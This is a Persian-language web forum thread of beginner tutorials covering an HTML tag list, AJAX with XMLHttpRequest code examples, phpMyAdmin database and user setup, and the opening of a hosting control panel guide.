< li > برای تعريف يک آيتم در ليست به کار می رود .
< link > برای برقراری ارتباط بين صفحه با يک فايل خارجي به کار می رود .
< map > برای ايجاد يک نقشه تصويری به کار می رود .
< meta > در بر گيرنده اطلاعات کلی درباره محتويات يک صفحه جهت استفاده موتورهای جستجو است .
< noscript > برای تعيين جايگزين يک اسکريپت در يک صفحه به کار می رود .
< object > برای پيوند يک شی خارجی با صفحه به کار می رود .
< ol > برای ايجاد ليست های ترتيبی به کار می رود .
< optgroup > برای دسته بندی گزينه های يک ليست به کار می رود .
< option > برای ايجاد يک ليست در صفحه به کار می رود .
< p > برای ايجاد يک پاراگراف در صفحه به کار می رود .
< param > برای تعيين تنظيمات زمان اجرای يک شی خارجی در صفحه به کار می رود .
< pre > برای نمايش متن به همان صورت اوليه به کار می رود .
< q > برای ايجاد يک نقل قول به کار می رود .
< samp > برای نمايش متن همانند محيط های برنامه نويسی به کار می رود .
< script > برای تعيين يک اسکريپت در صفحه به کار می رود .
< select > برای ايجاد يک ليست باز شو به کار می رود .
< small > برای نمايش متن به صورت کوچکتر به کار می رود .
< span > برای تقسيم متن به کار می رود .
< strong > برای نمايش درشتر متن به کار می رود .
< style > برای قالب بندی تگ های HTML و صفحات به کار می رود .
< sub > برای ايجاد يک زير نويس به کار می رود .
< sup > برای ايجاد يک انديس به کار می رود .
< table > برای ايجاد جداول به کار می رود .
< tbody > شامل محتويات و بدنه اصلی يک جدول می شود .
< td > برای ايجاد يک خانه جدول به کار می رود .
< textarea > برای ايجاد يک کادر متن به کار می رود .
< tfoot > برای تعيين عنوان انتهای يک جدول به کار می رود .
< th > برای ايجاد يک سر عنوان برای جدول به کار می رود .
< thead > برای ايجاد يک سر عنوان برای جدول به کار می رود .
< title > برای ايجاد متن tooltip درباره عناصر به کار می رود .
< tr > برای ايجاد يک سطر جدول به کار می رود .
< tt > باعث نمايش متن به صورت نوشته های تلگراف به کار می رود .
< u > برای خط زيردار کردن نوشته به کار می رود .
< ul > برای ايجاد ليست های نشانه ای به کار می رود .
< var > برای نمايش متن همانند محيط های برنامه نويسی به کار می رود .
< !-- ... -- > برای ارائه توضيحات دلخواه در صفحه HTML به کار می رود .
< !DOCTYPE > نوع و نسخه زبان برنامه نويسی مورد استفاده در صفحه وب را مشخص می کند .

فقط این تگ های برای html1.1 هست و در html اخرین ویرایش یعنی 5 چندی از این تگ ها حذف یا چندی تگ جایگزین امده است


در نظر دارم هفته ای 5-6 آموزش قرار بدم تا اخر تابستان دیگر همه بچه های نیوک فول اپشن بشن تصویر
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش اجاکس -مقدماتی

پست توسط SINISTERMMP »

اقا به نظر من کل اجاکس همیناست به جز یکی دو تا تابع دیگه که تو کتاب نیوک اوردم ولی دیگه بیشتر از این اجاکس چیزی نداره بقیش شر وره

کلمه AJAX مخفف عبارت Asynchronous JavaScript and XML و بر پایه JavaScript و HTTP requests است، آژاکس یک زبان برنامه نویسی جدید نیست،

بلکه یک تکنیک و یک روش برای استفاده از استانداردهای موجود است.

آژاکس تکنیک نقل و انتقال داده ها با یک وب سرور است و برای تغییر دادن بخشی از یک صفحه وب بدون بارگذاری مجدد کل صفحه بکار می رود.

پیش نیاز برای یادگیری آژاکس

برای یادگیری آژاکس لازم است دانش اولیه از موارد زیر را داشته باشید:

HTML / XHTML
JavaScript
آژاکس یک تکنیک برای ایجاد برنامه های وب سریع و بهتر است. با آژاکس، جاوا اسکریپت می تواند بوسیله شیء XMLHttpRequest بطور مستقیم با سرور ارتباط برقرار کند، جاوا اسکریپت می تواند بدون بارگذاری مجدد صفحه، داده ها را ارسال و دریافت کند.

آژاکس از انتقال داده بطور غیر همزمان (آسنکرون) بین مرورگر اینترنتی و سرور وب استفاده می کند، این عمل اجازه می دهد بجای درخواست کل صفحه وب از سرور فقط مقدار کمی از اطلاعات درخواست شود.

با استفاده از تکنیک آژاکس برنامه های اینترنتی، کوچکتر، سریعتر و بسیار کاربر پسند می شوند.

آژاکس مبتنی بر استانداردهای اینترنت است:

JavaScript
XML
HTML
CSS
آژاکس برای بهتر کردن برنامه های اینترنتی است

برنامه های اینترنتی مزایای بیشتری نسبت به برنامه های کامپیوتری دارند:

دارای استفاده کنندگان بیشتر هستند
نصب و پشتیبانی ساده تری دارند
برای توسعه و برنامه نویسی ساده تر هستند
البته باید این نکته را هم در نظر گرفت که هنوز بیشتر برنامه های اینترنتی کاربر پسند نیستند
شروع به کار با آژاکس

آژاکس مبتنی بر استانداردهای موجود است که این استانداردها برای سال های متوالی مورد استفاده برنامه نویسان بوده و هست.

AJAX XMLHttpRequest

آژاکس از شیء XMLHttpRequest استفاده می کند

در روش سنتی با جاوا اسکریپت، برای دریافت (ارسال) اطلاعات از (به) یک پایگاه داده یا یک فایل بروی سرور، شما مجبور بودید که یک فرم HTML بسازید و کاربر برای دریافت (ارسال) اطلاعات می بایست بروی دکمه ثبت (Submit) کلیک کند، سپس منتظر پاسخ سرور بماند، بعد یک صفحه جدید برای نمایش نتایج بارگذاری خواهد شد. این روش خیلی زمان بر و کند است و منجر به کمرنگ شدن ویژگی کاربر پسند بودن وب سایت می گردد.

با آژاکس، جاوا اسکریپت می تواند بوسیله شیء XMLHttpRequest بطور مستقیم با سرور ارتباط برقرار کند.

با شیء XMLHttpRequest، یک صفحه وب می تواند درخواست خود را به سرور ارسال کند و پاسخ خود را از سرور وب بدون بارگذاری مجدد صفحه دریافت کند. کاربر در همان صفحه منتظر خواهد ماند و متوجه تغییرات پشت صحنه نخواهد شد و تنها آنچه را که منتظرش بوده مشاهده خواهد کرد.

شیء XMLHttpRequest

با استفاده از شیء XMLHttpRequest، یک برنامه نویس وب می تواند حتی بعد از اینکه صفحه بارگذاری شد صفحه را با اطلاعات دریافتی از سرور به روز رسانی کند.

تکنیک آژاکس در سال 2005 بوسیله گوگل با سرویس "پیشنهاد گوگل" در موتور جستجویش محبوب شد. سرویس Google Suggest از شیء XMLHttpRequest برای ایجاد رابط فوق پویا وب (web interface) استفاده کرده است.

شیء XMLHttpRequest توسط اکثر مرورگرهای اینترنتی (Internet Explorer, Firefox, Chrome, Opera, and Safari) پشتیبانی می شود.

مثال آژاکس

اولین برنامه آژاکس شما

این برنامه از دو تا دکمه برای گرفتن داده از یک سرور و نمایش اطلاعات در یک صفحه وب بدون بارگذاری مجدد استفاده می کند.

در ابتدا ما یک صفحه کوچک HTML با برچسب <div> ایجاد می کنیم. برچسب <div> برای نمایش متناوب اطلاعات درخواست شده از سرور استفاده می شود.

برای شناسایی برچسب <div> از یک مشخصه بصورت id="test" استفاده می کنیم:

کد: انتخاب همه

<html>
<body>

<div id="test">
<h2>Click to let AJAX change this text</h2>
</div>

<body>
</html>
ما دو تا دکمه معمولی <button> به صفحه اضافه می کنیم. دکمه ها به هنگام کلیک شدن یک تابع به نام loadXMLDoc را فراخوانی خواهند کرد:

کد: انتخاب همه

<button type="button" onclick="loadXMLDoc('test1.txt')">Click Me</button>
<button type="button" onclick="loadXMLDoc('test2.txt')">Click Me</button>

کد: انتخاب همه

<head>
<script type="text/javascript">
function loadXMLDoc(url)
{
.... Your AJAX script goes here ...
}
</script>
</head>
همه مرورگرها بطور درونی از شیء جدید جاوا اسکریپت XMLHttpRequest پشتیبانی می کنند (البته IE5 و IE6 از ActiveXObject استفاده می کنند).

این شیء می تواند اطلاعات (داده) را از سرور درخواست کند.

بیاید بروی فایل HTML خودمان کار کنیم. داشتیم بروی اسکریپت جاوا اسکریپت اضافه شده در قسمت <head> کار می کردیم:

کد: انتخاب همه

function loadXMLDoc(url)
{
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("GET",url,false);
xmlhttp.send(null);
document.getElementById('test').innerHTML=xmlhttp.responseText;
}

توضیح مثال

ایجاد یک شیء XMLHttpRequest

کد: انتخاب همه

xmlhttp=new XMLHttpRequest()

ایجاد یک شیء ActiveXObject اگر مروگر اینترنتی IE5 یا IE6 باشد

کد: انتخاب همه

xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")

باز کردن شیء درخواست

کد: انتخاب همه

xmlhttp.open("GET",url,false)

ارسال درخواست به سرور

کد: انتخاب همه

xmlhttp.send(null)
به روز رسانی صفحه با اطلاعات دریافتی از سرور

کد: انتخاب همه

document.getElementById('test').innerHTML=xmlhttp.responseText

نکته: هر زمان بخواهید یک شیء XMLHttpRequest ایجاد نمائید کد بالا را می تواند استفاده شود.

اینم کد کامل این مثال براتون گذاشتم که برید تو مثال های دیگه و جاهای دیه امتحان کنید و یاد بیشتر یاد بگیرید و حرفه ای شید

کد: انتخاب همه

<html>
<head>	
	  <script type="text/javascript">
	function loadXMLDoc(url){
					   
		 if (window.XMLHttpRequest)
		    {// code for IE7+, Firefox, Chrome, Opera, Safari
		    xmlhttp=new XMLHttpRequest();
		    }
		    else
		    {// code for IE6, IE5
		    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
   }
xmlhttp.open("GET",url,false);
xmlhttp.send(null);
document.getElementById('test').innerHTML=xmlhttp.responseText;
}
</script>
</head>
	<body>
		    <div id="test">
		    <h2>Click to let AJAX change this text</h2>
		    </div>
		    <button type="button" onclick="loadXMLDoc('test1.txt')">Click Me</button>
		    <button type="button" onclick="loadXMLDoc('test2.txt')">Click Me</button>
	</body>
</html>

اینم یک لینک برای شما که کد های اجاکس خودتونو انلاین تست کنید

کد: انتخاب همه

http://www.w3schools.com/Ajax/tryit.asp?filename=tryajax_first

خواص و متدهای مهم شیء XMLHttpRequest

متدهای مهم

شیء XMLHttpRequest دو متد مهم دارد:

open
send
ارسال یک درخواست آژاکس به یک سرور

برای ارسال یک درخواست به یک سرور وب، ما از متدهای open و send استفاده می کنیم.

متد open سه تا آرگومان (متغیر ورودی) می گیرد:

اولین آرگومان مشخص کننده این است که از کدامیک از متدها (GET or POST) استفاده شود.
دومین آرگومان مشخص کننده نام منبع سرور (URL) است.
سومین آرگومان زمانی استفاده می شود که بخواهیم نحوه اداره درخواست بصورت غیر همزمان (آسنکرون) انجام بپذیرد.
متد send برای درخواست کردن از سرور استفاده می شود. فرض کنید فایلی به نام "time.asp" را می خواهیم درخواست کنیم، کدش بصورت زیر است:

کد: انتخاب همه

url="time.asp"
xmlhttp.open("GET",url,true);
xmlhttp.send(null);

نکته: در این مثال فرض کرده ایم هم صفحه وب و هم منبع درخواستی هر دو در یک دایرکتوری قرار گرفته اند.

خواص مهم

شیء XMLHttpRequest دارای سه خاصیت مهم است:

خاصیت responseText
خاصیت readyState
خاصیت onreadystatechange
خاصیت responseText

شیء XMLHttpRequest هر داده ایی که از سرور به عنوان نتیجه درخواست صورت گرفته دریافت می شود را در خاصیت responseText خودش ذخیره می کند.

در مثالی که برای شما زده شد ما محتوای خاصیت responseText را در کد HTML مان به روش زیر کپی می کنیم:

کد: انتخاب همه

document.getElementById('test').innerHTML=xmlhttp.responseText

آرگومان سوم متد open

وقتیکه آرگومان سوم متد Open مقدار false بگیرد، به شکل دستور زیر توجه کنید:

کد: انتخاب همه

xmlhttp.open("GET",url,false);
xmlhttp.send(null);
document.getElementById('test').innerHTML=xmlhttp.responseText;

وقتیکه پارامتر سوم متد Open مقدار false بگیرد، به شیء XMLHttpRequest می گوید که تا زمان تکمیل درخواست سرور، و قبل از اجرای دستور بعدی منتظر بماند.

توجه: برای برنامه های کوچک و درخواست ساده از سرور، این عمل مناسب است. اما اگر وظایف درخواستی زمان بر باشند یا سرور نتواند آنرا انجام دهد، می تواند باعث بروز مشکل و هنگ کردن برنامه وب تان شود.

وقتیکه آرگومان سوم متد Open مقدار true بگیرد

وقتیکه پارامتر سوم متد Open مقدار true بگیرد، به شیء XMLHttpRequest می گوید که به اجرای دستورات حتی بعد از ارسال درخواست به سرور ادامه بدهد.

بخاطر اینکه تا شما از کامل شدن درخواست سرور اطمینان حاصل نکرده اید نمی توانید به سادگی از پاسخ درخواست سرور استفاده کنید، لازم است شما خاصیت onreadystatechange شیء XMLHttpRequest را بروی یک تابع (یا نام یک تابع) تنظیم کنید تا بعد از تکمیل درخواست، اجرا گردد.

برای این منظور کد را کمی تغییر می دهیم:

کد: انتخاب همه

xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4)
{document.getElementById('test').innerHTML=xmlhttp.responseText}
}
xmlhttp.open("GET",url,true);
xmlhttp.send(null);

خاصیت readyState

خاصیت readyState وضعیت پاسخ سرور را نگه می دارد.

مقادیر ممکن برای خاصیت readyState:

مقدار 0: درخواست هنوز مورد بررسی قرار نگرفته است. (not initialized)
مقدار 1: درخواست ایجاد شده است.
مقدار 2: درخواست فرستاده شده است.
مقدار 3: درخواست در پردازش است.
مقدار 4: درخواست کامل است.
خاصیت onreadystatechange

خاصیت onreadystatechange یک تایع (یا نام یک تابع) را در خود نگه می دارد هر زمان که خاصیت readyState تغییر کند بطور خودکار تابع را فراخوانی خواهد کرد.

شما می توانید یک تابع کامل را در این خاصیت بصورت زیر ذخیره نمائید:

کد: انتخاب همه

xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4)
{document.getElementById('test').innerHTML=xmlhttp.responseText}
}
xmlhttp.open("GET",url,true);
xmlhttp.send(null);

همچنین شما می توانید نام تابع را همانند کد زیر در این خاصیت قرار دهید:

کد: انتخاب همه

xmlhttp.onreadystatechange=state_Change
xmlhttp.open("GET",url,true);
xmlhttp.send(null);
...
...
...
function state_Change()
{
if(xmlhttp.readyState==4)
{document.getElementById('test').innerHTML=xmlhttp.responseText}
}

چیزی به اسم آژاکس سرور وجود ندارد!

شیء XMLHttpRequest می تواند هر نوع داده ایی را درخواست کند.

با شیء XMLHttpRequest شما می توانید هر منبع وب بروی سرور را درخواست کنید. شما می توانید فایل متنی TXT، فایل اچ تی ام ال HTML، تصاویر یا هر داده دیگری را که قابل دسترس از طریق اینترنت است را درخواست کنید.

درخواست فایل های متنی

اکثر برنامه های آژاکس فایل های متنی ساده را جهت اخذ داده برای برنامه درخواست می کنند.

درخواست فایل های XML

یکی از متدهای رایج آژاکس، درخواست فایل های XML برای استخراج داده برنامه است.

درخواست فایل های PHP یا ASP

درخواست یک فایل PHP یا ASP یکی از روش های رایج برای دسترسی به اطلاعات پایگاه داده است.

درخواست فایل های HTML

فایل های HTML یکی از روش های رایج برای پر کردن اطلاعات مختلف بروی یک صفحه وب است.

فرم های ثبت

با آژاکس براحتی خواهید توانست داده های فرم ثبت نام را بدون بارگذاری مجدد صفحه دریافت کنید.


اقا منبع مطلب اجاکس سایت http://www.w3schools.com/Ajax/default.asp بود
آخرین ويرايش توسط 1 on SINISTERMMP, ويرايش شده در 0.
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش مقدماتی کار با PhpMyAdmin

پست توسط SINISTERMMP »

در این تاپیک نحوه استفاده از phpmyadmin همون معروف ترین برنامه برای کنترل دیتابیس mysql رو میگم

فقط یک چیزی بگم که در phpmyadmin سرور دیتابیس باید در سرور ساخته شود و در آموزش بعد ساخت دیتابیس در 4 نوع هاست پنل را توضیح میدم
البته چهارچوب کلی PhpMyAdmin در نسخه های مختلف ( چه بر روی سرور و چه Local ) به یک شکل میباشد و از این راهنمای مقدماتی میتوانید برای نسخه های قدیمیتر یا جدیدتر نیز استفاده کنید
اگر یک هاستی ندارید که phpmyadminداشته باشه یا نمیتوانید برنامه xampp که در چند ارسال قبلی همین تاپیک گفتم نصب کنی بر روی کامپیوتر خودتون میتونید از لینک زیر یک یک دمو انلاین برای این برنامه هست استفاده کنید

کد: انتخاب همه

http://pma.cihar.com/STABLE
در صورت درخواست رمز عبور . از یوزر root بدون وارد کردن پسورد استفاده کنید
در صورتی که برنامه xampp را نضب کرده اید لین اجرا ان به صورت زیر است

کد: انتخاب همه

http://localhost/phpmyadmin 
و در بیشتر سرور ها همین لینک است مگر صاحب هاست در یک ادرس دیگر phpmyadmin را نصب کرده باشد

PhpMyAdmin علاوه بر مدیریت MySQL ابزار خوبی برای یادگیری زبان SQL میباشد
شما در PhpMyAdmin هر فعالیتی که با استفاده از منو ها ( یا در اصطلاح Wizard ) انجام دهید ، کد SQL مربوط به آن فعالیت نیز برای شما نمایش داده میشود
همچنین شما میتوانید به جای استفاده از Wizard با استفاده از Import کردن کد های SQL نیاز خود را به صورت کامل بر طرف سازید

در این تاپیک ما نحوه ایجاد و مدیریت User , Database , Table را با استفاده از PhpMyAdmin خواهیم آموخت
سپس در تاپیکی جداگانه با استفاده از این اطلاعات یک Portal و یا CMS را روی کامپیوتر شخصی نصب و اجرا میکنیم که در این مورد در تاپیک بعدی توضیحات بیشتر خواهیم داد
تصویر
ابتدا جدول مورد نظر را ایجاد میکنیم
ابتدا این نکته را در نظر بگیرید که در کلیه مراحل چه در ساخت جدول و یا بانک جدید ما collation را برابر utf8_general_ci انتخاب میکنیم
شما شما دقت داشته باشید که انتخاب collation بستگی به نوع جدول و داده هایی که قرار است در آن ذخیره شود دارد ، که بعدا در مورد این مسئله بحث خواهیم کرد

برای ایجاد Database جدید میتوانید از همان صفحه اصلی و کادر Create new database استفاده کنید ، و یا روی لینک Database کلیک کنید

تصویر

در هر دو حالت در کادر اول همانند تصویر زیر نام Database را وارد کرده و سپس collation مربوط به آن را انتخاب کنید و در انتها روی Create کلیک کنید
در اینجا همانند تصویر زیر ما نام Database را برابر SepidarSoft و collation آنرا برابر utf8_general_ci قرار داده ایم
تصویر

اگر خطای وجود نداشته باشد در ساخت دیتابیس با پیغام زیر برخورد میکنید
تصویر

اگر خطا وجود داشته باشد مثلا اسم دیتابیس شما قبلا وارد شده است با این پیغام مواجه میشود
تصویر

در انتهای مطلب در مورد کاربرد کد SQL خروجی توضیح خواهم داد

حال صفحه Database شما که کاملا خالی میباشد برای شما نمایش داده شده است

همچنین در ستون سمت چپ هم Database شما موجود میباشد و شما میتوانید از طریق همین قسمت به Database ای که ساخته اید دسترسی داشته باشید

تصویر
حال نوبت ایجاد Username میباشد

همانند تصویر زیر ، از لینک های بالای صفحه روی mysql کلیک کنید
تا به صفحه ابتدایی را باز کنید
( همان طور که گفتم ، راههای مختلفی برای دسترسی به هر قسمت در PhpMyAdmin وجود دارد . اما برای شروع من راه های عادی و ساده و میگم تا سردرگم نشید . بعد از کمی کار با این محیط با میانبور ها آشنا میشید و سرعت کارتون خیلی بیشتر میشه )
تصویر

در این قسمت روی Privileges کلیک کنید
تصویر

در صورتی که تا قبل از این User ای برای MySql تعریف نکرده باشید ، در این قسمت همانند تصویر زیر یوزر ROOT وجود دارد . که شما میتوانید از آن بدون نیاز به Password استفاده کنید

حال برای ایجاد User جدید روی گزینه Add a new User کلیک کنید
( به علت استفاده از phpmyadmin دمو برای آموزش دادن اخرین نسخه phpmyadmin و کم بودن امکانات phpmyadmin دمو ادامه آموزش را از با یک نسخه قبل تر phpmyadmin ادامه میدهیم)

تصویر

همانند تصویر زیر فرم را پر کنید
در قسمت User name شما میبایست User دلخواه خود را وارد کنید . بری مثال من یوزر dpiuser را وارد میکنم
سپس در قسمت Host شما میتوانید گزینه Any و یا Localhost را انتخاب کنید
در کادر مربوط به Password رمز عبور خود را وارد کنید . و در کادر Re-Type رمز خود را دوباره وارد کنید

نکته : در صورتی که میخواهید PhpMyAdmin به صورت تصادفی رمزی برای شما انتخاب کند ، روی گزینه Generate کلیک کنید ، سپس رمز ایجاد شه را در کادر Password و Re-type وارد کنید . و در صورتی که رمز را خودتان انتخاب کرده اید کاری به قسمت Generate Password نداشته باشید و کادر مربوط به آنرا رها کنید

من رمز عبور را به عنوان نمونه برابر 1234567 انتخاب کردم !
اما شما سعی کنید ساختار رمز خود را کمی پیچیده و همراه با ترکیبی از حروف و اعداد کوچک و بزرگ و .. انتخاب کنید
تصویر

در قسمت بعدی یعنی Database for user شما میتوانید بانک و یا گروهی خاصی از بانک ها را برای یوزر خود انتخاب کنید
تا این یوزر تنها روی بانک هایی که شما انتخاب کرده اید قابل استفاده باشد. ما این گزینه را روی حالت پیشفرض یعنی None رها میکنیم ( این کار باعث میشه یوزر ما روی تمامی بانک های موجود قابل استفاده باشه )

نکته : در حالت آنلاین و روی سرور واقعی معمولا وظیفه ایجاد یوزر و انتخاب بانک به عهده Cpanel میباشد و مراحل کار کمی متفاوت میباشد
تصویر

حال نوبت به قسمت Global privileges میرسد
در این قسمت ما میتوانیم برای این یوزر محدودیت ایجاد کنیم و سطح دسترسی و توانایی های یک یوزر را مدیریت کنیم

از اونجایی که فعلا بحث ما برنامه نویسی حرفه ای با PHP نیست ، با استفاده از گزینه Check All همانند تصویر زیر ، کلیه موارد را تیک میزنیم تا یوزر ما دسترسی کامل را روی بانک بدون هیچ محدودیتی داشته باشد
تصویر

سپس از انتهاب همین قسمت روی کلید Go کلیک میکنیم

حال یوزر ما ایجاد میشود
در صورتی که به همان قسمت Privileges بروید ، یوزر ایجاد شده را مشاهده میکنید

تصویر

حال به Database ای که ایجاد کرده بودیم برمیگردیم
تصویر
با ورود به بانک پیام No tables found in database. هم ظاهر میشود
که نشان میدهد بانک ما هیچ جدولی ندارد
و زیر همان قسمت ، کادر Create new table on database وجود دارد که توسط آن میتوانید اولین جدول بانک خود را ایجاد کنید

حال برای ایجاد اولین جدول از این کادر استفاده میکنیم
نکته : در صورتی که میخواهید جدول خود را با استفاده از کد های SQL ایجاد کنید میتوانید از منو های بالا و گزینه Import استفاده کنید که م افعلا کاری با این گزینه نداریم و هدف آموزش PhpMyAdmin است

از همان قسمت Create new table on database ابتدا در کادر Name نام جدول خود را وارد میکنیم که من نام namelist را انتخاب میکنم ( دقت داشته باشید که MySQL و PhpMyAdmin به حروف بزرگ و کوچک حساس میباشد . اگر بخواهید به صورت حرفه ای عمل کنید ، بهتر هست کلیه نام ها را با حروف کوچک وارد کنید . همچنین شما نمیتوانید از Space استفاده کنید . و حرفه ای تر این است که از _ استفاده کنید )
سپس در کادرNumber of columns تعداد ستون های جدول خود را وارد کنید . من برای نمونه 2ستون را انتخاب کردم ( دقت داشته باشید که شما پس از ایجاد جدول هم خواهید توانست ستون اضافه کنید )
سپس روی گزینه Go کلیک کنید

تصویر

من دو ستون id و fullname را برای جدول انتخاب میکنم
و ستون id را به صورت auto_increment که همانند AutoNumber در Access میباشد قرار میدهم . و آنرا Primary Key جدول انتخاب میکنم
Type و دیگر مشخصات مربوط به جدول هم که از پیش آشنایی دارید باهاشون و من هم توضیح اضافه نمیدم

Collation مربوط به هر فیلد و تنظیم نمیکنم . و Collation کل جدول و برابر utf8_persian قرار میدم تا همه فیلد های جدول از همین Collation استفاده کنند

Engine هم برابر MyISAM قرار میدم
سپس در کمی پایین تر با استفاده از گزینه Save جدول و ایجاد میکنم

تصویر

حالا جدول ما ایجاد میشه . و کد SQL حاصل از عملیات ما نیز نمایش داده میشه
اگر از ابتدا ما همین کد و با استفاده از قسمت Import وارد میکردیم ، همین جدول با همین مشخصات ایجاد میشد

حال برای نمونه به صورت دستی رکوردی را در جدول وارد میکنیم
برای اینکار از منوی بالای همان صفحه روی گزینه Insert کلیک کنید
تصویر

در صفحه جدید ستون های جدول نمایش داده میشوند
که در مثال ما دو ستون id و fullname وجود دارد
ستون id و خالی میگذاریم . چون ما این فیلد و به صورت auto_increment ایجاد کردیم تا به صورت خودکار مقدار بگیرد ! با این حال شما میتوانید خودتان هم به صورت دستی مقدار بدید
من ستون id و خالی رها میکنم و فیلم fullname و برابر SepidarSoft قرار میدم
سپس روی گزینه Go کلیک میکنیم تا رکورد ما در جدول ایجاد بشه
تصویر
در صفحه جدید کد Sql حاصل از ایجاد رکورد ما نمایش داده میشه

حال برای مشاهده رکورد های جدول میتوانیم از منوی بالا و گزینه Browse استفاده کنیم
تصویر
در صفحه جدید رکورد های موجود که در مثال ما تنها یک رکورد میباشد نمایش داده میشود که در کنار اون امکانات مربوط به ویرایش و حذف رکورد و عملیات های دیگر هم وجود دارد


در صفحه جدید رکورد های موجود که در مثال ما تنها یک رکورد میباشد نمایش داده میشود که در کنار اون امکانات مربوط به ویرایش و حذف رکورد و عملیات های دیگر هم وجود دارد
تصویر

با تشکر اقا من یک سری جاهاشو گفتم راحته توضیح ندادم اگر مشکلی بود یک ناپیک ایجاد کنید و بگید تا من یا بقیه دوستان مشکلتونو حل کنند
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش استفاده از هاست پنل

پست توسط SINISTERMMP »

در ضمن آموزش (" استفاده از هاست پنل ") از سایت aryaco.com گرفته شده است
با سلام در اینجا آموزش استفاده از چهار هاست پنل معروف که به شرح زیر هست را میخواهم بزارم .

کد: انتخاب همه

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>جلسه دوم (آموزش هاست پنل)</title>
</head>
<body>

<?php 
echo "

آموزش هاستینگ سی پنل CPanel(
آموزش مدیریت وب هاستینگ سی پنل panel X3
آموزش مدیریت هاستینگ سی پنل 11 - CPanel 11/RVSkin 9
);
آموزش هاستینگ پلسک Plesk
آموزش ریسلر هاستینگ سی پنل WHM
آموزش ریسلر هاستینگ پلسک PLESK
آموزش هاستینگ دایرکت ادمین Direct Amin
آموزش مدیریت ریسلر دایرکت ادمین


آموزش مدیریت وب هاستینگ سی پنل panel X3:
ورود به کنترل پنل سی پنل
ایجاد یک ایمیل آدرس در سی پنل
ایجاد ایمیل آدرس جهت دریافت کلیه پیمام ها
ایجاد ارسال پاسخ به پیام های رسیده
ایجاد ساب دومین در سی پنل
ایجاد نمودن صفحه اختصاصی خطای مرورگر
رمز عبور جهت محافظت پوشه های هاستینگ
محافظت از فایل های هاستینگ در برابر لینک های ناخواسته
تنظیم نمودن ایمیل ها جهت forwarding (redirects)
تغییر دادن رمز عبور در سی پنل
ایجاد راه اندازی اتوماتیک دستورهای وب Cron Job
ایجاد نمودن دسترسی برای کاربران به فایل های هاستنگ توسط FTP
استفاده از سرویس تهیه نسخه پشتیبانی
فعال ویا غیر فعال نمودن FrontPage extensions
چگونگی به روز آوری اطلاعات کاربر هاستینگ
مدیریت سرویس URL Redirects
ایجاد بانک اطلاعاتی MySQL database
مدیریت فایل های هاستینگ توسط File Manager
نمایش دهنده فضای مصرفی دیسک سخت
بلاک نمودن آی پی آدرس ها از دسترسی به هاستینگ توسط IP Deny Manager
پارک نمودن یک دومین در سی پنل
ایجاد هاستینگ های اضافه در سی پنل
مدیریت ثبت گزارشهای کارکرد در سی پنل Raw Access Logs
مدیریت فایل ها توسط Index Manager
آشنایی با صفحه مدیریت هاستینگ سی پنل CPANEL X3
استفاده از سرویس WEBMAIL
مدیریت بانک های اطلاعاتی توسط phpMyAdmin
ترسیم نمودن الگوریتم ثبت پیام ها در سی پنل
استفاده از سرویس Web Disk
تغییرات در فالب نمایش کنترل پنل CPANEL X3
مقدمه ای بر استفاده از FANTASTICO



***
آموزش مدیریت هاستینگ سی پنل 11 - CPanel 11/RVSkin 9:
ورود به کنترل پنل سی پنل
ایجاد یک ایمیل آدرس در سی پنل
ایجاد ایمیل آدرس جهت دریافت کلیه پیمام ها
ایجاد هاستینگ های اضافه در سی پنل
ایجاد ارسال پاسخ به پیام های رسیده
استفاده از سرویس تهیه نسخه پشتیبانی
چکونگی به روز آوری اطلاعات کاربر هاستینگ
ایجاد نمودن صفحه اختصاصی خطای مرورگر
آشنایی با صفحه مدیریت هاستینگ سی پنل CPANEL-RVSKIN
مقدمه ای بر استفاده از FANTASTICO
تنظیم نمودن ایمیل ها جهت forwarding (redirects)
فعال ویا غیر فعال نمودن FrontPage extensions
ایجاد نمودن دسترسی به فایل های هاستنگ توسط FTPl
محافظت از فایل های هاستینگ در برابر لینک های ناخواسته
مدیریت فایل ها توسط Index Manager
بلاک نمودن آی پی آدرس ها از دسترسی به هاستینگ توسط IP Deny Manager
ایجاد بانک اطلاعاتی MySQL database
پارک نمودن یک دومین در سی پنل
تغییر دادن رمز عبور در سی پنل
مدیریت بانک های اطلاعاتی توسط phpMyAdmin
محافظت از مدیریت رمز عبور در سی پنل
مدیریت ثبت گزارشهای کارکرد در سی پنل Raw Access Logs
مدیریت سرویس URL Redirects
تغییرات در فالب نمایش کنترل پنل CPANEL-RVSKIN
ایجاد ساب دومین در سی پنل
ترسیم نمودن الگوریتم ثبت پیام ها در سی پنل
استفاده از سرویس نمایش فضای دیسک مصرفی
استفاده از سرویس Web Disk
استفاده از سرویس WEBMAIL

***
آموزش و فراگیری مدیریت هاستینگ در کنترل پنل پلسک 9 - PLESK 9 WINDOWS:
ایجاد دسترسی به سرویس همگانی FTP در پلسک annonymous
ایجاد سرویس جوابگوی خودکار به پیام های رسیده AUTO RESPONDER
ایجاد نسخه پشتیبانی از فایلها و استفاده ار آن BACKUP-RESTORE
ویرایش اطلاعات کاربری و رمز عبور در PLESK
ویرایش صفحه نمایش کنترل پنل پلسک
نحوی استفاده از اجرای دستورات خودکار و زمانبدی آن CRON JOBS
ایجاد دومین های مجازی و سرویس دهی به انها در پلسک DOMIAN ALIAS
